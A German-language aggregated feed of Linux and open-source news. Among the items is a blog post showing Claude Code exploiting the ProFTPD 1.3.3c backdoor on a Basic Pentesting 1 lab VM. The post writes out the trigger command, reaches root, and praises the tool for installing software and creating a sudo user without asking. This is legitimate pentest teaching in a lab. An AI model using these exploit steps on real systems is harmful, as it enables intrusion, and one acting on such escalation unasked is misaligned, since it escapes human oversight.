Eine neue Einstellung wurde hinzugefügt, um zu konfigurieren, ob verschachtelte Ordner standardmäßig zusammengeklappt oder vollständig erweitert angezeigt werden sollen. Der bevorzugte Inhaltstyp kann jetzt zwischen HTML und Reintext umgeschaltet werden.
Ansonsten bringt Thunderbird 16.0 eine Reihe von Fehlerkorrekturen und Detail-Verbesserungen unter der Haube, welche sich in den offiziellen Release Notes nachlesen lassen. Unter anderem wurde ein Problem mit der OAuth SMTP-Authentifizierung mit manchen Microsoft-Servern behoben und die Anzahl der notwendigen Klicks zum Wechseln von Ordnern verringert. Die mittlerweile ebenso veröffentlichte Version Thunderbird 16.1 bringt weitere Korrekturen.
Mit Journiv stellt sich ein selbst gehostetes Tagebuch vor. Die noch in der Beta-Phase befindliche Anwendung hat kürzlich eine Integration der Fotodatenbank Immich erhalten.
System76 liefert ein neues Update für den COSMIC Desktop. Version 1.0.6 erscheint nur eine Woche nach der vorherigen Ausgabe 1.0.5. Die Aktualisierung konzentriert sich auf Fehlerkorrekturen und kleine Optimierungen der Rust Komponenten. Die Statusanzeige nutzt nun den Dienst socket-activated Daemon für StatusNotifierWatcher. Das verbessert die Zuverlässigkeit der Applets. Der Compositor basiert auf einer neueren Smithay […]
Microsoft liefert eine neue Ausgabe von Azure Linux. Die Version 3.0.20260204 richtet sich an Nutzer mit hohen Anforderungen. Das System setzt weiter auf den Linux 6.6 LTS Kernel. Dieser gilt inzwischen als älterer Zweig. Zwei neuere LTS Linien stehen bereits bereit. Neu ist eine zusätzliche Kernel Variante für moderne Hardware. Microsoft stellt nun ein Gen1 […]
Mit der Veröffentlichung von Linux 6.19 hat Linus Torvalds eine klare Entscheidung getroffen. Die nächste Version wird nicht 6.20 heißen. Stattdessen beginnt im April eine neue Nummernreihe. Torvalds begründet den Schritt mit der wachsenden Länge der bisherigen Serie. Große Zahlen seien schlicht unübersichtlich geworden. Der Übergang zu Linux 7.0 startet sofort. Das sogenannte Merge Fenster […]
Die EU-Kommission wagt einen bemerkenswerten Schritt. Sie prüft den Einsatz europäischer Open‑Source Software für ihre interne Kommunikation. Der Zeitpunkt ist kein Zufall. Viele Behörden in Europa sorgen sich zunehmend über ihre starke Abhängigkeit von US Diensten. Im Mittelpunkt steht das Matrix Protokoll. Es handelt sich um eine offene Technologie, die von einer gemeinnützigen Organisation betreut […]
Linus Torvalds hat die neue Kernel Version 6.19 freigegeben. Die Veröffentlichung verlief ruhig und ohne Überraschungen. Gleichzeitig kündigte Torvalds an, dass der nächste Kernel die Nummer 7.0 tragen wird. Der Schritt dient nur der Übersichtlichkeit und markiert keinen neuen Entwicklungsabschnitt. Die aktuelle Version bringt viele technische Neuerungen. AMD Systeme profitieren von einer Funktion, die Daten […]
Die Landesregierung Schleswig-Holstein unterstützt mit ihrem Landesprogramm Offene Innovationen das dritte Jahr in Folge Open-Source-Projekte, um für reale Bedarfe aus der Praxis Softwarelösungen zu entwickeln. 2025 wurden drei Millionen Euro bereit gestellt, um gemeinnützige und öffentliche Organisationen in Zusammenarbeit mit der lokalen Digitalwirtschaft bei der Entwicklung quelloffener digitaler Lösungen zu unterstützen. Der Call for Concepts […]
Die großen US-Tech-Konzerne haben für dieses Jahr schwindelerregende Investitionen in KI angekündigt. So will Google bis zu 185 Milliarden investieren, Amazon sogar 200 Milliarden.
KDE Linux macht große Schritte und verlässt spürbar die frühe Testphase. Das junge Projekt entwickelt sich zu einer eigenständigen Plasma Distribution und gewinnt immer mehr Mitwirkende. Die Entwickler sehen das System inzwischen zu gut sechzig Prozent auf dem Weg zur Beta. Ein wichtiger Fortschritt betrifft das Updateverfahren. KDE Linux lädt nun nur noch die Änderungen […]
Mozilla hat Version 2.33 seiner VPN-Clients für das Mozilla VPN veröffentlicht. Die neue Version ist erstmals auch mit Windows-Systemen mit ARM-Prozessor kompatibel.
Mit dem Mozilla VPN bietet Mozilla in Zusammenarbeit mit Mullvad sein eigenes Virtual Private Network an und verspricht neben einer sehr einfachen Bedienung eine durch das moderne und schlanke WireGuard-Protokoll schnelle Performance, Sicherheit sowie Privatsphäre: Weder werden Nutzungsdaten geloggt noch mit einer externen Analysefirma zusammengearbeitet, um Nutzungsprofile zu erstellen.
Das Update auf das Mozilla VPN 2.33 bringt erstmalige Unterstützung für Windows-Systeme mit ARM-Prozessor. Außerdem wird mit der neuen Version auch das iPhone Air von Apple unterstützt. Das Zusammenspiel mit der VPN-Erweiterung für Firefox wurde verbessert. Die Abonnement-Verwaltung wurde aus der App entfernt und öffnet jetzt im Browser. Verbesserungen gab es auch in Zusammenhang mit den Benachrichtigungsberechtigungen unter iOS. Dazu gab es wie immer diverse Fehlerbehebungen und Verbesserungen unter der Haube.
Mozilla hat Firefox 147.0.3 für Windows, macOS und Linux veröffentlicht und liefert damit zahlreiche Verbesserungen für eine gesteigerte Webkompatibilität aus. Dies betrifft vor allem das sogenannte Anchor Posititioning in CSS, aber auch die Sticky-Positionierung in CSS, CSS Flexbox, die Navigation-API, URLPattern-API sowie die Wiedergabe von HEVC-Videos.
Ein Problem wurde behoben, bei dem die Entwicklerwerkzeuge möglicherweise nicht mehr geöffnet werden konnten, nachdem ein Element im Inspektor ausgewählt und eine Seite mit Cross-Origin-iFrames neu geladen wurde.
Es wurde ein Problem behoben, bei dem der Abschnitt mit den Einstellungen für den DNS-over-HTTPS-Anbieter als leeres Feld angezeigt wurde, sodass Benutzer die aktuellen Einstellungen nicht sehen oder ändern konnten.
Ein Problem auf Windows-Systemen mit einer großen Anzahl installierter Schriftarten wurde behoben, bei dem Teile der Firefox-Benutzeroberfläche fehlerhafte Zeichen anstelle von lesbarem Text anzeigen konnten.
Ein Problem unter Linux wurde behoben, bei dem UI-Widgets unter Umständen an der falschen Position angezeigt werden konnten.
Wurde Firefox unter Windows mit einem dunklen Design genutzt, konnte es beim Start zu einem hellen Flackern der Titelleiste kommen.
Auf macOS konnte eine Erweiterung oder das Verändern einer bestimmten versteckten Option dafür sorgen, dass Firefox nicht mehr benutzbar war.
Mehrere potenzielle Absturzursachen wurden behoben.
Ein Problem wurde behoben, welches zu einer fehlgeschlagenen Kerberos-Authentifizierung führen konnte.
Es wurde zusätzliches Logging und Telemetrie zum Verstehen von Standortfehlern eingeführt, was in Zusammenhang damit steht, die Zuverlässigkeit der Geolocation-API durch Verwendung der aktuellen System-Schnittstellen zu verbessern.
Zur Unterstützung von Experimenten wurde die Möglichkeit geschaffen, innerhalb der ersten 48 Stunden der Firefox-Nutzung andere Standard-Verknüpfungen auf der Firefox-Startseite anzuzeigen, als danach.
In diesem Blog-Artikel habe ich meine Begeisterung für fish zum Ausdruck gebracht. Aber immer wieder stolpere ich über kleine Imkompatibilitäten, wenn andere Programme pardout die bash oder zsh voraussetzen.
VS Code und Remote Shell
Mit VS Code und der Erweiterung Remote SSH können Sie via SSH ein Verzeichnis auf einem Linux-Rechner öffnen und die dort befindlichen Dateien bearbeiten. Das funktioniert wunderbar, wenn der dort die bash oder zsh läuft. Mit der fish gelingt zwar der initiale Verbindungsaufbau, wenig später kommt es aber Timeout. Das Problem ist — eh‘ erst seit fast sechs Jahren — in einem GitHub-Issue dokumentiert. Hoffnung auf Behebung gibt es wohl nicht.
Aber immerhin enthält das Issue einige Lösungsvorschläge. Am praktikabelsten ist es aus meiner Sicht, in der Konfigurationsdatei settings.json von VS Code (unter Linux .config/Code/User/settings.json) die betroffenen Hostnamen einzutragen und ihnen die Plattform Linux zuzuordnen. Absurd, dass VS Code offensichtlich nicht in der Lage ist, diesen Umstand selbst zu erkennen.
Wenn Sie ein Python Environment einrichten, funktioniert dessen übliche Aktivierung mit source .venv/bin/activate nicht. Es gibt (übrigens schon seit 2012!) ein entsprechendes fish-Script — Sie müssen nur daran denken, es auch zu verwenden.
mkdir my-project
cd my-project
python3 -m venv .venv
source .venv/bin/activate # bash, zsh
source .venv/bin/activate.fish # fish !!!
Ubuntu 24.04 LTS bekommt derzeit ein großes Technikupdate. Canonical verteilt neue Kernelversionen und moderne Grafikstacks im Rahmen des nächsten Hardware Enablement (HWE) – Stacks an alle Nutzer. Die Aktualisierung stammt aus Ubuntu 25.10 und bringt spürbar bessere Hardwareunterstützung. Mit dem kommenden Pointrelease 24.04.4 LTS wird das neue Paketset offiziell ausgeliefert. Viele Systeme erhalten die Neuerungen […]
System76 liefert mit COSMIC 1.0.5 ein kompaktes Update, das viele kleine Verbesserungen bündelt. Die neue Version konzentriert sich klar auf Stabilität und spürbare Optimierungen im Alltag. Nutzer dürfen sich über zahlreiche Detailpflege freuen, die den Desktop runder wirken lässt. Die Applets zeigen nun auf Wunsch den Akkustand in Prozent an. COSMIC Files wirkt ebenfalls ausgereifter […]
LibreOffice 26.2 steht ab sofort für alle großen Plattformen bereit. Die neue Version konzentriert sich auf mehr Tempo, bessere Kompatibilität und eine angenehmere Bedienung. Viele Abläufe fühlen sich direkter an und reagieren schneller auf Eingaben. Writer zeigt sich deutlich stabiler im Umgang mit komplexen Dokumenten. Schwebende Tabellen folgen nun verlässlicher den Seitenregeln. Die Nachverfolgung von […]
Im Bundestag wächst der Wunsch nach mehr digitaler Eigenständigkeit. Eine neue Kommission untersucht derzeit, wie sich das Parlament unabhängiger von ausländischen Technologiekonzernen machen kann, wie der Blog Dr. Windows berichtet. Ziel ist ein stabiles digitales Umfeld, das sensible Abläufe schützt und zugleich den täglichen Betrieb sicherstellt. Die Arbeitsgruppe prüft das gesamte technische Fundament des Parlaments. […]
Die EU-Kommission will mit ihrer geplanten „European Open Digital Ecosystem Strategy“ die digitale Souveränität der europäischen Verwaltung stärken. Heute wurde die öffentliche Konsultation abgeschlossen, welche die EU-Kommission im Vorfeld dazu durchgeführt hat. Hierbei konnten Einzelpersonen, Verbände und Interessengruppen ihre Einschätzung dazu abgeben, welche Hürden dem gezielten Einsatz von Open Source durch die EU-Kommission derzeit noch im Wege stehen, bzw. wie die Vorzüge von Open Source noch erfolgreicher genutzt werden können.
Moderne KI-Tools zum Agentic Coding können nicht nur programmieren, sie können auch Kommandos ausführen — im einfachsten Fall mit grep in der Code-Basis nach einem Schlüsselwort suchen. Diese Funktionalität geht aber weiter als Sie vielleicht denken: Einen SSH-Account mit Key-Authentifizierung vorausgesetzt, kann das KI-Tool auch Kommandos auf externen Rechnern ausführen! Das gibt wiederum weitreichende Möglichkeiten, sei es zu Administration von Linux-Rechner, sei es zur Durchführung von Hacking- oder Penetration-Testing-Aufgaben. In diesem Beitrag illustriere ich anhand eines Beispiels das sich daraus ergebende Potenzial.
Entgegen landläufiger Meinung brauchen Sie zum Hacking per KI keinen MCP-Server! Ja, es gibt diverse MCP-Server, mit denen Sie bash- oder SSH-Kommandos ausführen bzw. Hacking-Tools steuern können, z.B. ssh-mcp, mcp-kali-server oder hexstrike-ai. Aber sofern Ihr KI-Tool sowieso Kommandos via SSH ausführen kann, bieten derartige MCP-Server wenig nennenswerte Vorteile.
Setup auf einem Fedora-Rechner mit zwei virtuellen Maschinen und lokaler Claude-Code-Installation
Setup
Als Ausgangspunkt für dieses Beispiel dient ein KI-Tool mit CLI (Command Line Interface), z.B. Claude Code, Codex CLI, Gemini CLI oder GitHub Copilot CLI. Ebenso geeignet sind Open-Source-Tools wie Aider oder Goose, die mit einem lokalen Sprachmodell verbunden werden können.
Ich habe für meine Tests Claude Code auf einem Linux-Rechner (Fedora) installiert. Claude Code erfordert ein Claude-Abo oder einen API-Zugang bei Anthropic.
Außerdem habe ich zwei virtuelle Maschinen eingerichtet (siehe den obigen Screenshot). Dort läuft einerseits Kali Linux (Hostname kali) und andererseits Basic Pentesting 1 (Hostname vtcsec). Basic Pentesting 1 ist ein in der Security-Ausbildung beliebtes System mit mehreren präparierten Sicherheitslücken.
Für das Netzworking habe ich der Einfachheit halber beide virtuellen Maschinen einer Bridge zugeordnet, so dass sich diese quasi im lokalen Netzwerk befinden. Sicherheitstechnisch für diese Art von Tests wäre es vernünftiger, Kali Linux zwei Netzwerkadapter zuzuweisen, einen für den Zugang zum Hostrechner (Fedora) und einen zweiten für ein internes Netzwerk. Das Target-System (hier Basic Pentesting 1) bekommt nur Zugang zum internen Netzwerk. Damit kann Kali Linux mit dem Target-System kommunizieren, aber es gibt keine Netzwerkverbindung zwischen dem Target-System und dem Host-Rechner oder dem lokalen Netzwerk.
In Kali Linux habe ich den Benutzer aiadmin eingerichtet. Dieser darf per sudo alle Kommandos ohne Passwort ausführen:
# in /etc/sudoers auf Kali Linux
aiadmin ALL=(ALL) NOPASSWD: ALL
Auf dem lokalen Rechner (Fedora) kümmert sich .ssh/config darum, dass aiadmin der Default-User für SSH-Verbindungen ist.
# Datei .ssh/config auf dem lokalen Rechner
Host kali
User aiadmin
Damit der SSH-Login bei Kali Linux ohne Passwort funktioniert, habe ich einen SSH-Key eingerichtet:
fedora$ ssh-copy-id aiadmin@kali
Sobald das funktioniert, habe ich den interaktiven Login für aiadmin gesperrt (Option -l wie lock).
kali$ sudo passwd -l aiadmin
Der privilegierte Benutzer aiadmin kann jetzt also NUR noch per SSH-Key-Login genutzt werden.
Alternatives Setup Bei diesem Setup gibt es eine logische Barriere zwischen unserem Arbeitsrechner mit diversen Entwickler- und KI-Tools und Kali Linux. Wenn Sie im Security-Umfeld arbeiten, ist es naheliegen, Claude Code oder ein anderes KI-Tool direkt in Kali Linux zu installieren und so den SSH-Umweg einzusparen.
Setup testen
Nun richten Sie ein leeres Projektverzeichnis ein, wechseln dorthin und starten claude. Die beiden ersten Prompts dienen dazu, Claude das Testumfeld zu erklären und dieses auszuprobieren.
> There is a Kali Linux installation with hostname kali.
Try to connect via SSH. (OK ...)
> Kali can connect to host vtcsec. This is a VM designated
for penetration testing. ping to it! (OK ...)
Erste Prompts um das Setup zu testen
AI Assisted Hacking
Im dritten Prompt geht es richtig los. Claude soll in Kali Linux einen Port Scan für das Pentesting-System durchführen. Dort findet es eine veraltete ProFTPD-Version mit einer bekannten Sicherheitslücke.
> Now do a proper port scan for vtcsec. Find out what
software is running.
(...) Here's what's running on vtcsec:
Port Service Version
21 FTP ProFTPD 1.3.3c
22 SSH OpenSSH 7.2p2 (Ubuntu)
80 HTTP Apache 2.4.18 (Ubuntu)
OS: Linux 3.x/4.x (Ubuntu), running as a QEMU VM.
Notable observations:
- ProFTPD 1.3.3c is a notably old version with
known vulnerabilities (including a backdoor in
certain distributions).
- OpenSSH 7.2p2 and Apache 2.4.18 are also outdated versions with known CVEs.
- Only 3 ports open, 997 closed — a fairly minimal attack surface.
Port-Scan durchführen
> Find exploits for ProFTPD.
(...) Here are the exploits found for ProFTPD 1.3.3:
Exploit
ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) Telnet IAC Buffer Overflow
ProFTPd 1.3.2rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow
ProFTPd 1.3.3c - Compromised Source Backdoor
ProFTPd IAC 1.3.x - Remote Command Execution
ProFTPd 1.3.3c - Backdoor Command Execution (Metasploit)
The most relevant one is the backdoor in ProFTPD 1.3.3c -
this is the infamous incident where the ProFTPD source code
was compromised, and a backdoor was inserted. It allows remote
command execution by sending HELP ACIDBITCHEZ to the FTP service.
There's both a manual exploit and a Metasploit module available.
Want me to try the backdoor exploit against vtcsec?
Wir wollen nun die gefundene Backdoor nutzen. Der erste Exploit-Versuch scheitert, aber bereits im zweiten Versuch kann Claude die Backdoor in ProFTPD ausnutzen und erreicht root-Rechte.
> Yes, try it!
Bash(ssh kali "searchsploit -x linux/remote/15662.txt")
Exploit: ProFTPd 1.3.3c - Compromised Source Backdoor
Remote Code Execution
URL: https://www.exploit-db.com/exploits/15662
Path: /usr/share/exploitdb/exploits/linux/remote/15662.txt
Bash(ssh kali 'echo -e "HELP ACIDBITCHEZ\nid\nhostname
\nuname -a\nexit\n" | nc -w 5 vtcsec 21')
The simple netcat approach didn't return command output.
Let me try with a proper interactive approach using Metasploit
or a Python script.
Bash(ssh kali 'python3 -c " ..." ')
Banner: 220 ProFTPD 1.3.3c Server (vtcsec) [192.168.178.48]
Response: uid=0(root) gid=0(root) groups=0(root)...
Response: vtcsec
Response: Linux vtcsec 4.10.0-28-generic
The backdoor exploit worked. Here's what we got:
- Access level: uid=0(root) — full root access
- Hostname: vtcsec
- Kernel: Linux 4.10.0-28-generic (Ubuntu 16.04)
The HELP ACIDBITCHEZ backdoor in ProFTPD 1.3.3c gave an unauthenticated
remote root shell with zero effort — no credentials, no authentication,
just a single FTP command. Want me to explore the system further or move
on to testing the other services?
ProFTPD-Backdoor ausnutzen
Mit den nun erworbenen root-Rechten soll Claude einen neuen Benutzer mit sudo-Rechten einzurichten. Wiederum scheitert der erste Versuch, weil das Kommando sshpass auf Kali Linux nicht installiert ist. Claude lässt sich davon nicht beirren: Ohne weitere Rückfragen installiert es das fehlende Kommando, richtet den neuen Benutzer ein und verifiziert dessen Funktionsweise. Grandios!
Neuen Benutzer mit sudo-Rechten einrichten
Anmerkungen
Bemerkenswert an diesem Beispiel ist, dass ich Claude nie mitgeteilt habe, wie es vorgehen soll bzw. mit welchen Hacking-Tool es arbeiten soll. Claude hat selbstständig den Port-Scan mit nmap durchgeführt, mit metasploit nach einem Exploit gesucht und diesen angewendet.
Auch wenn das obige Beispiel einen erfolgreichen Einbruch skizziert, wird Hacking mit KI-Unterstützung nicht automatisch zum Kinderspiel. Hier habe ich die Richtung vorgegeben. Wenn Sie dem KI-Tool freie Hand lassen (Prompt: »Get me root access on vtcsec«), führt es den Portscan möglicherweise zuwenig gründlich durch und übersieht den ProFTPD-Server, der in diesem Fall beinahe eine Einladung zum Hacking darstellt. Stattdessen konzentriert sich das Tool darauf, SSH-Logins zu erraten oder Fehler in der Konfiguration des Webservers zu suchen. Das sind zeitaufwändige Prozesse mit nur mäßiger Erfolgswahrscheinlichkeit.
Die Steuerung von Hacking-Tools via SSH stößt an ihre Grenzen, wenn es um die interaktive Bedienung von CLI-Tools oder um die Steuerung grafischer Benutzeroberflächen bzw. Web-Tools geht (z.B. Burp Suite, Empire Framework oder OpenVAS).
Fakt bleibt, dass die KI-Unterstützung den Zeitaufwand für Penetration Tester erheblich senken kann — z.B. wenn es darum geht, mehrere Server gleichzeitig zu überprüfen. Umgekehrt macht die KI das Hacking für sogenannte »Script Kiddies« leichter denn je. Das ist keine erfreuliche Perspektive …
Im openSUSE Projekt beginnt eine neue Debatte über die künftige Organisation der Gemeinschaft. Jeff Mahoney, VP of Engineering for Linux Systems bei SUSE, hat einen Entwurf vorgestellt, der helfen soll, Entscheidungen in dem stetig wachsenden Umfeld besser zu strukturieren und nachvollziehbarer zu machen. Der Vorschlag versteht sich als Grundlage für Gespräche und ändert keine bestehenden […]
Das Linux Projekt erhält erstmals einen klar geregelten Plan für den Fall, dass Linus Torvalds oder zentrale Maintainer ihre Aufgaben nicht mehr ausführen können. Das “Linux Kernel Project Continuity” Dokument beschreibt nun, wie die Weiterführung des Kernel Repositories organisiert wird und wer im Ernstfall Verantwortung übernimmt. Sollte die Arbeit am torvalds/linux.git Hauptrepository ins Stocken geraten, […]
Hier haben wir wieder ein „Henne und Ei“-Problem.Zwar sind die Cookies richtig kopiert worden und auch die Dateien sind zugänglich, sie lassen sich ja via Browser aufrufen, aber leider ist ytdlp veraltet. Bis ein neues Image für Tube Archivist erscheint, muss man sich mit der Variable TA_AUTO_UPDATE_YTDLP helfen. Mit dieser Variable in der Compose-Datei und ... Weiterlesen
Kurz notiert: Die Data-Science-Bibliothek pandas wurde in Version 3.0 veröffentlicht. Auch wenn ein drittes Major-Release erst einmal nach tiefgreifenden Änderungen klingt, ist es tatsächlich nur die SemVer-Versioierung, die für den Major-Release verantwortlich ist, da pandas 3.0 auch ältere Features entfernt, die zuvor deprecated wurden. An sich bleiben natürlich die Grundkonzepte gleich.
Neuerungen
Das pandas-Team hebt drei Neuerungen hervor:
Automatischer String-Typ für Spalten
Wird ein DataFrame erzeugt, ermittelt pandas in vielen Fällen den Datentyp für die Spalte. Wenn z. B. nur Ganzzahlen enthalten sind, ist der Datentyp int. Bei Strings war dies bisher nicht so, wie wurden als der generische Datentyp object aufgelöst und mussten manuell typisiert werden.
Das wird mit pandas 3.0 gelöst, denn String-Spalten erhalten nun automatisch den Typ str. Für diese Umstellung wird ein Migration-Guide bereitgestellt.
Verbesserungen bei Copy-on-Write
Unter Python gibt es eigentlich keine Pointer, womit man sich eigentlich einige Probleme erspart. Trotzdem kann es Referenzen geben, die wie Pointer wirken. Ein Beispiel aus dem Guide:
Aus der 1 in "foo" wurde kurzerhand 100, auch wenn nicht der DataFrame direkt geändert werden musste. Das Verhalten wird schwer vorhersehbar, wenn mit vielen DataFrames auf einmal gearbeitet wird.
Wer eine tatsächliche Kopie anlegen will, muss bisher z. B. subset = df["foo"].copy() aufrufen. Dann wird der DataFrame kopiert und Änderungen an subset landen nicht mehr auf einmal im ursprünglichen DataFrame.
Dieses Verhalten ist nun das Standardverhalten, ein expliziter .copy()-Aufruf wird nicht mehr benötigt. Das erfordert zwar einiges Umdenken hinsichtlich der Änderung von Werten, erspart aber auch einige SettingWithCopyWarnings, die schon in früheren Releases bei bestimmten Spaltenoperationen auftraten. Copy-on-Write bedeutet dabei in der Umsetzung, dass der DataFrame erst einmal weiterhin Referenzen nutzt, aber bei der ersten Veränderung einer Referenz den DataFrame kopiert und nur in der Kopie die Veränderung hinterlegt. Alles zu Copy-on-Write ist hier zu finden.
pd.col()-Support
Pandas steht zunehmend im Wettbewerb zu Polars. Da ist es nicht verwunderlich, dass einige bewährte Features auch bei Pandas Einzug halten.
Neu ist ab pandas 3.0 die Funktion pd.col(). Während bisher bei df.assign()-Operationen auf Lambda-Ausdrücke zurückgegriffen werden musste, geht dies nun einfacher mit der col()-Funktion:
Datetime-Auflösung: Standard ist jetzt Mikrosekunden statt Nanosekunden. Integer-Casts lieffern dadurch jetzt andere Werte.
Bei concat und homogenen DatetimeIndex-Objekten wird jetzt sort=False berücksichtigt.
value_count(sort=False) behält jetzt die Eingabereihenfolge, nicht mehr Sortierung nach Labels.
offsets.Day ist jetzt immer ein Kalendertag, kein fixer 24h-Tick. Dabei werden Zeitumstellungen explizit berücksichtigt.
NaN vs. NA: In nullable Dtypes werden NaN und NA standardmäßig nun gleich behandelt, Arithmetik erzeugt jetzt NA
Die Mindestanforderungen steigen auf Python >= 3.11 und NumPy >= 1.26.
pytz ist von nun an optional.
Darüber hinaus gibt es diverse kleine Änderungen, z. B. werden einige Rückgabewerte bei inplace=True verändert.
Weitere Informationen
Das gesamte Changelog ist hier abrufbar. Es wird aufgrund der Deprecations empfohlen, erst auf Pandas 2.3 upgraden, den Code auf Warnings zu überprüfen und erst dann mit dem Upgrade auf Version 3.0 fortzufahren.